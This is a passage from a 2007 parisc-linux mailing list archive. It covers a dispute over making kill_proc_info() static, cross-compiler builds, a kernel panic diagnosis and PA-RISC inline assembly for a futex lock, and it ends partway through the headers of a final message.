List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BvD7cZouTiEt/ayUaGRw4f51ZUVSRJfD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24304

On Sat, Feb 10, 2007 at 07:47:16PM -0600, James Bottomley wrote:
> On Sat, 2007-02-10 at 22:43 +0100, Adrian Bunk wrote:
> > First of all thanks to Andrew for forwarding this email to me - it's 
> > otherwise a bit hard to defend against an email that doesn't reach me.
> 
> I think if you read the email you'll find it didn't actually attack you
> at all ... I was careful only to ask for a change of policy before
> accepting a patch that does nothing but make a function static.

Then let's call it "trying to establish rule forbidding something 
established without even informing the people whose actions you want to 
become forbidden".

> > >...
> > > 
> > > We're going to need this one reverting for parisc.  If you remember
> > > we've been trying to push a compat_sys_rt_sigqueueinfo but Andi keeps
> > > objecting, so it's remained local to our tree (an hence so has the
> > > symbol usage).
> > > 
> > > However, can we *please* stop this indiscriminate rampage through all
> > > the sybsystems making things static just because we can.  The true test
> > > of whether a symbol should be static or not is whether it forms part of
> > > a sensible API or not.  For subsystems with a well defined API, this is
> > > quite easy (although it hasn't prevented attempts to make even those
> > > symbols static).  For some of our core subsystems (like the kernel API
> > > in this case) it's much less well defined ... although we have a good
> > > solid white area of things that must be part of the API and a good solid
> > > black area of things that mustn't, we still have a large grey area which
> > > things like kill_proc_info() fall into.
> > > 
> > > For any person who wants to make a static symbol exported, we force an
> > > explanation out of them about what they're trying to do and why.  Might
> > > I suggest we apply the same standard to anyone trying to make something
> > > static?  i.e. they need to explain clearly why the symbol shouldn't be
> > > part of any rational API.
> > 
> > And by how many percent will this bloat the kernel more in the long 
> > term?
> 
> That's something I'm more than willing to live with if the tradeoff is
> we think before making things static.

The big kernel size increase is a reason why many people in the embedded 
world stay at kernel 2.4.

The fact that you can't get a 2.6 kernel as small as a 2.4 kernel is a 
serious regression. And the last time I checked it wasn't that there's 
some well-defined area where the size increase comes from - it's more or 
less evenly distributed between all not unmaintained parts of the 
kernel.

> > > Thanks,
> > > 
> > > James
> > > Date: Thu, 8 Feb 2007 22:33:21 -0500
> > > From: Kyle McMartin <kyle@mcmartin.ca>
> > > To: Matthew Wilcox <matthew@wil.cx>
> > > Cc: Kyle McMartin <kyle@mcmartin.ca>,
> > > 	parisc-linux <parisc-linux@lists.parisc-linux.org>
> > > Subject: Re: [parisc-linux] 64-bit kernel broken.
> > > 
> > > On Thu, Feb 08, 2007 at 08:24:54PM -0700, Matthew Wilcox wrote:
> > > > On Thu, Feb 08, 2007 at 07:43:14PM -0500, Kyle McMartin wrote:
> > > > > > Right. This got inadvertantly reverted with some other stuff. Fixed in a
> > > > > > second.
> > > > > 
> > > > > Fixed in 1736b4bbf2bbfebaad06114d569f3617517524d1.
> > > > 
> > > > make.err:/home/willy/nicol-2.6/arch/parisc/kernel/signal32.c:519:
> > > > warning: implicit declaration of function 'kill_proc_info'
> > > > make.err:(.text.compat_sys_rt_sigqueueinfo+0x80): undefined reference to
> > > > `kill_proc_info'
> > > > 
> > > 
> > > Guess who came home for Christmas
> > > 
> > > commit d3228a887cae75ef2b8b1211c31c539bef5a5698
> > > Author: Adrian Bunk <bunk@stusta.de>
> > > Date:   Wed Dec 6 20:38:22 2006 -0800
> > > 
> > >     [PATCH] make kernel/signal.c:kill_proc_info() static
> > > 
> > >     Signed-off-by: Adrian Bunk <bunk@stusta.de>
> > >     Signed-off-by: Andrew Morton <akpm@osdl.org>
> > >     Signed-off-by: Linus Torvalds <torvalds@osdl.org>
> > 
> > There are hundreds of such patches of mine that got included in Linus' 
> > tree and that didn't cause problems. Besides making the kernel smaller, 
> > they regularly find "it should have been used" bugs.
> 
> > In this one case, a patch that made something static that wasn't used 
> > from other files during the over 9 years of it's existence clashes with 
> > another patch that adds a user.
> 
> I'm really not that interested in the number of users ... that's only
> one part of the measure of the relevance of an API.  However, if we're
> actually going to revoke an API I'd like it to be done on the API's
> merits (or lack of them) rather than simply whether there are any
> current in-kernel users.
> 
> > Can we agree that it's not a usual case that the first user gets added 
> > after more than 9 years?
> 
> Actually, the compat_rtsiginfo patch has been argued over and honed for
> at least 3 years, so I'd say your statement isn't necessarily correct.
> For some of its life, it was even in -mm.
> 
> > And making it global again when a user gets included isn't really that 
> > hard.
> 
> The life of a non-x86 architecture maintainer is hard ... it involves
> having lots of volunteers tirelessly chasing down things that broke
> during the big two week merge frenzy.  It would be really helpful if
> things like this didn't add to that burden.

The change was not in -mm recently.

The simple rules:
- get your changes in -mm and
- test -mm kernels and scream if someone broke your architecture
would discover many problems before the 2 weeks merge window (and before 
problems hit Linus' tree).

This would also eliminate problems like the parisc defconfig not 
compiling in 2.6.20 due to the work_struct changes.

> James

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fw: Another problem with making things static
Date: Sat, 10 Feb 2007 23:44:24 -0800
Lines: 35
Approved: news@gmane.org
Message-ID: <20070210234424.500ed1c9.akpm__5988.99827241457$1416624282$gmane$org@linux-foundation.org>
References: <20070210130136.9538498b.akpm@linux-foundation.org>
	<20070210214309.GP12958@stusta.de>
	<1171158436.3373.51.camel@mulgrave.il.steeleye.com>
	<20070210201911.7a16b5f3.akpm@linux-foundation.org>
	<20070211072552.GC22248@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624282 22691 80.91.229.3 (22 Nov 2014 02:44:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:42 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 Linus Torvalds <torvalds@linux-foundation.org>,
 Parisc List <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 07:44:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx085) with SMTP; 11 Feb 2007 08:44:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 250A97DB39;
	Sun, 11 Feb 2007 00:44:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05736-09; Sun, 11 Feb 2007 00:44:34 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4D2E77DB36;
	Sun, 11 Feb 2007 00:44:31 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70D9A7DB34
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 00:44:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05727-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 00:44:26 -0700 (MST)
Original-Received: from smtp.osdl.org (smtp.osdl.org [65.172.181.24])
	by free.linux.hp.com (Postfix) with ESMTP id 9747C7DB29
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 00:44:26 -0700 (MST)
Original-Received: from shell0.pdx.osdl.net (fw.osdl.org [65.172.181.6])
	by smtp.osdl.org (8.12.8/8.12.8) with ESMTP id l1B7iOUI009025
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Sat, 10 Feb 2007 23:44:25 -0800
Original-Received: from box (shell0.pdx.osdl.net [10.9.0.31])
	by shell0.pdx.osdl.net (8.13.1/8.11.6) with SMTP id l1B7iOAf032314;
	Sat, 10 Feb 2007 23:44:24 -0800
In-Reply-To: <20070211072552.GC22248@colo.lackof.org>
X-Mailer: Sylpheed version 2.2.7 (GTK+ 2.8.17; x86_64-unknown-linux-gnu)
X-Spam-Status: No, hits=-0.932 required=5 tests=AWL,
	OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 2.63-osdl_revision__1.116__
X-MIMEDefang-Filter: osdl$Revision: 1.176 $
X-Scanned-By: MIMEDefang 2.36
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Aq2mCMkIbHIy4q3NNjQ0orsqJihyatDq
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24305

On Sun, 11 Feb 2007 00:25:52 -0700 Grant Grundler <grundler@parisc-linux.org> wrote:

> > My attempt to build a working parisc cross-compiler failed, which doesn't help.
> 
> I appreciate your attempt to build parisc-linux.
> Could you post which source tree and which build command line you used?

It was maybe a year back - I spent a couple of days wrestling with
crosstool, ended up with _some_ useful crosscompilers (alpha, arm, i386,
ia64, m68k, mips, s390, sparc, sparc64 and x86_64).  parisc was one of the
ones which I gave up on but I do not have a record of what the problem was,
sorry.  It would have been a toolchain problem, not a kernel problem.

The most usual failure mode was simply inability to find any combination of
gcc/binutils/glibc which could be compiled.

> I'm pretty sure this can be fixed.
> We've used cross compilers in the past so I know it's worked before.

I say this a lot, but...  It is in the interests of arch maintainers to
help others to build cross-compilers.  If someone were to prepare a web
page (or even a script) which could be used to generate a kernel
cross-compilation environment for parisc then the parisc maintainers would
see a lot less breakage.

For one, I do allmodconfig on all architectures on all patches I get (and
that includes all the git trees).  If stuff breaks, the breaker gets to
hear about it, before it gets merged.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Expect defunct, kill -9 panics kernel?
Date: Sat, 10 Feb 2007 12:35:44 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <1171132545.3373.36.camel__696.42470120943$1416624283$gmane$org@mulgrave.il.steeleye.com>
References: <119aab440702100916q504101b1xe99f65ff5945e712@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624283 22694 80.91.229.3 (22 Nov 2014 02:44:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:43 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Feb 2007 18:36:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 10 Feb 2007 19:36:01 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 205757DAE6;
	Sat, 10 Feb 2007 11:35:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29479-02; Sat, 10 Feb 2007 11:35:59 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 27A4D7DAE8;
	Sat, 10 Feb 2007 11:35:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E05C07DAE2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 11:35:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29112-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 11:35:50 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id DD56B7DAE0
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 11:35:49 -0700 (MST)
Original-Received: from [172.17.6.40] (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l1AIZjx24865; 
	Sat, 10 Feb 2007 13:35:45 -0500
In-Reply-To: <119aab440702100916q504101b1xe99f65ff5945e712@mail.gmail.com>
X-Mailer: Evolution 2.8.2.1 (2.8.2.1-3.fc6) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oCn2cM8abmw74a2HZzdLQApHUzc4chHZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24306

On Sat, 2007-02-10 at 12:16 -0500, Carlos O'Donell wrote:
> At what point in the process life are we in __wake_up and
> __wake_up_common?
> An address of 0x10 is very suspicious.

Almost every internal kernel event or semaphore uses these.

Because of the empty backtrace, I'd be inclined to say it was the
scheduler, possibly.

0x10 looks to be curr->func implying curr is NULL and thus the queue
task_list is corrupt.

That's the best I can do without the kernel to pull apart.

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] input constraints in atomic.h too loose ?
Date: Sat, 10 Feb 2007 16:01:01 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <200702102101.l1AL11Ai017315__25716.0043264323$1416624283$gmane$org@hiauly1.hia.nrc.ca>
References: <200702022215.50914.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624283 22698 80.91.229.3 (22 Nov 2014 02:44:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: vapier@gentoo.org (Mike Frysinger)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Feb 2007 21:01:28 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx005) with SMTP; 10 Feb 2007 22:01:28 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CCD0C7DB05;
	Sat, 10 Feb 2007 14:01:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30620-07; Sat, 10 Feb 2007 14:01:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E78477DB06;
	Sat, 10 Feb 2007 14:01:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7BB4A7DB04
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 14:01:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30620-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 14:01:17 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 7E8847DB03
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 10 Feb 2007 14:01:17 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1AL12uI017316;
	Sat, 10 Feb 2007 16:01:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1AL11Ai017315;
	Sat, 10 Feb 2007 16:01:01 -0500 (EST)
In-Reply-To: <200702022215.50914.vapier@gentoo.org> from "Mike Frysinger" at
	Feb 2, 2007 10:15:50 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: z0OnKoBRMydywoigZWpldNVraGRhZpoA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24307

> static void __lll_mutex_lock(int *futex)
> {
> 	int lws_errno = 14; 
> 	int lws_ret;
> 	asm (
> "0:					\n\t" 
> "copy	%3, %%r26			\n\t" 
> "copy	%4, %%r25			\n\t" 
> "copy	%5, %%r24			\n\t" 
> "ble	" "0xb0" "(%%sr2, %%r0)		\n\t" 
> "ldi	" "0" ", %%r20		\n\t" 
> "cmpib,=,n " "11" ",%%r21,0b	\n\t" 
> "nop					\n\t" 
> "stw	%%r28, %0			\n\t" 
> "sub	%%r0, %%r21, %%r21		\n\t" 
> "stw	%%r21, %1			\n\t"
> : "=m" (lws_ret), "=m"(lws_errno), "=m"(*futex)
> : "r"(futex), "r"(0), "r"(1)
> :"r1", "r26", "r25", "r24", "r23", "r22", "r21", "r20", "r28", "r31", "memory"
> );
> }

Aren't lws_errno and lws_ret supposed to be global?  As is, they
are just local variables and do nothing.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] input constraints in atomic.h too loose ?
Date: Sun, 11 Feb 2007 13:48:06 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200702111848.l1BIm6Ku014692__5373.26243143088$1416624283$gmane$org@hiauly1.hia.nrc.ca>
References: <119aab440702111029h147c9ad5u602262ede5ea64d6@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624283 22702 80.91.229.3 (22 Nov 2014 02:44:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Feb 2007 18:48:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 11 Feb 2007 19:48:19 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 497C77DB83;
	Sun, 11 Feb 2007 11:48:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16489-04; Sun, 11 Feb 2007 11:48:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D8877DB85;
	Sun, 11 Feb 2007 11:48:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0DF4E7DB6C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 11:48:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16151-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 11:48:08 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 461877DB69
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Feb 2007 11:48:08 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l1BIm7Vd014693;
	Sun, 11 Feb 2007 13:48:07 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l1BIm6Ku014692;
	Sun, 11 Feb 2007 13:48:06 -0500 (EST)
In-Reply-To: <119aab440702111029h147c9ad5u602262ede5ea64d6@mail.gmail.com>
	from "Carlos O'Donell" at Feb 11, 2007 01:29:33 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: kgCnCNQIbHIy4q3NNjQ00+sqJihyapDF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24308

> They are not global. They are local variables which are the rvalue in
> an assignment to something else.

Ok, then a register should be fine except you may have to make sure
that you have the appropriate clobbers for the syscall.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Expect defunct, kill -9 panics kernel?
Date: Sun, 11 Feb 2007 13:19:52 -0600
Lines: 16
